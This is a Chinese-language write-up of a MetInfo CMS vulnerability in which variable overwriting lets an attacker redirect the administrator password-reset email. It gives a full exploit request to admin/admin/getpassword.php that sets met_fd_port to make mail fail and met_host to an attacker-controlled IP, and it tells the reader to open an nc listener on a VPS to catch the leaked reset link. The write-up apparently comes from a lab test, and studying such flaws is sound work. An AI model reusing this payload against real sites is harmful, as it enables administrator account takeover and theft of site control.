/include/common.inc.php
下面代码 用以将传入的cookie、get、post参数进行变量赋值
密码重置
MetInfo有管理员密码重置的功能,此功能由于变量覆盖导致可以获取密码重置链接。
密码文件
admin/admin/getpassword.php
switch语句开始是密码找回的逻辑控制语句
第一步选择密码找回的方式,默认是邮件找回,然后第二步,主要从92行开始执行,前面一大段是拼接数据包的语句,从第143行开始发送邮件
如果jmailsend函数发送失败则进入下面的if语句使用curl_post发送,进入curl_post函数
include/export.func.php
$post是未能成功发送的邮件内容,然后根据$met_host指定的地址将邮件内容发送过去,$met_host 在程序的值指定为app.metinfo.cn,应该是metinfo官方设置的邮件转发服务器,当站长自身设置的邮件服务器不起作用时先将邮件内容通过http请求发送此服务器,再由此服务器发送密码重置邮件。但是这个$met_host的值由于变量覆盖的原因导致可以被任意设置,可以将密码重置邮件的内容发送到我们指定的服务器。
前提是jmailsend发送失败,这里再来看一下jmailsend函数,在文件/include/jmail.php中。
目的是使这个函数返回False,这里同样使用变量覆盖的方式加以利用,可以看到根据$met_fd_port指定的端口发送邮件,这里如果将这个变量覆盖掉将导致邮件发送失败。首先在服务器上设置监听端口,curl_post默认80端口
抓包
POST /Metinfo/admin/admin/getpassword.php HTTP/1.1 Host: 192.168.5.22 Content-Length: 84 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.5.22 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36 FS Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.5.22/Metinfo/admin/admin/getpassword.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=96tlnqee9e5cs5b56m7r80g1n5; recordurl=%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252F%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252Fproduct%252Fshowproduct.php%253Flang%253Dcn%2526id%253D13%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252F%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252Fdownload%252Fdownload.php%253Flang%253Dcn%2526class2%253D35%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252Fabout%252Fshow.php%253Flang%253Dcn%2526id%253D19%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252F Connection: close action=next2&abt_type=2&admin_mobile=123%40qq.com&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5&met_fd_port=400&met_host=120.25.205.228
vps开启nc监听80端口